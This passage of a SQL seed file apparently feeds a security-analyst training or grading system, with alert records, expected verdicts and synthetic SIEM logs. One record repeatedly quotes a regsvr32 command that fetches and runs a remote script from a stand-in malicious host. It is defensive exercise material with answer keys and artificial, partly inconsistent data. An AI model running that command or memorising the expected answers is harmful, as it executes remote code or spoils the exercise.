host\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used for executing remote script leveraging regsvr32\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of regsvr32 to execute a remote script is indicative of an attempt to move laterally within the network.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.393Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"AzureVM01\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:https://malicious-site.com/shell.sct scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(748, 'Exposed S3 Bucket Detected, Potential Data Exposure', 'high', 'AWS GuardDuty', 'An S3 bucket was found to be publicly accessible, which could lead to unauthorized data exposure.', 'Data Exfiltration', 'T1530', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"bucket_policy_change\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"AWS\",\"username\":\"aws-user\",\"hostname\":\"N/A\",\"request_body\":\"{\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::mybucket/*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\"}\"}', '2026-01-11 12:33:53', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP previously reported for suspicious cloud activity\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"{\\\"Action\\\":\\\"s3:GetObject\\\",\\\"Resource\\\":\\\"arn:aws:s3:::mybucket/*\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":\\\"*\\\"}\",\"is_critical\":true,\"osint_result\":{\"source\":\"AWS Config\",\"verdict\":\"malicious\",\"details\":\"Bucket policy allows public access to all objects\"}}],\"expected_actions\":[\"block_ip\",\"close_bucket_policy\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Public access to S3 buckets can expose sensitive data. Immediate action required to close access.\"}', 'Advanced', 'DLP', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.394Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"bucket_policy_change\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"AWS\\\",\\\"username\\\":\\\"aws-user\\\",\\\"hostname\\\":\\\"N/A\\\",\\\"request_body\\\":\\\"{\\\\\\\"Action\\\\\\\":\\\\\\\"s3:GetObject\\\\\\\",\\\\\\\"Resource\\\\\\\":\\\\\\\"arn:aws:s3:::mybucket/*\\\\\\\",\\\\\\\"Effect\\\\\\\":\\\\\\\"Allow\\\\\\\",\\\\\\\"Principal\\\\\\\":\\\\\\\"*\\\\\\\"}\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
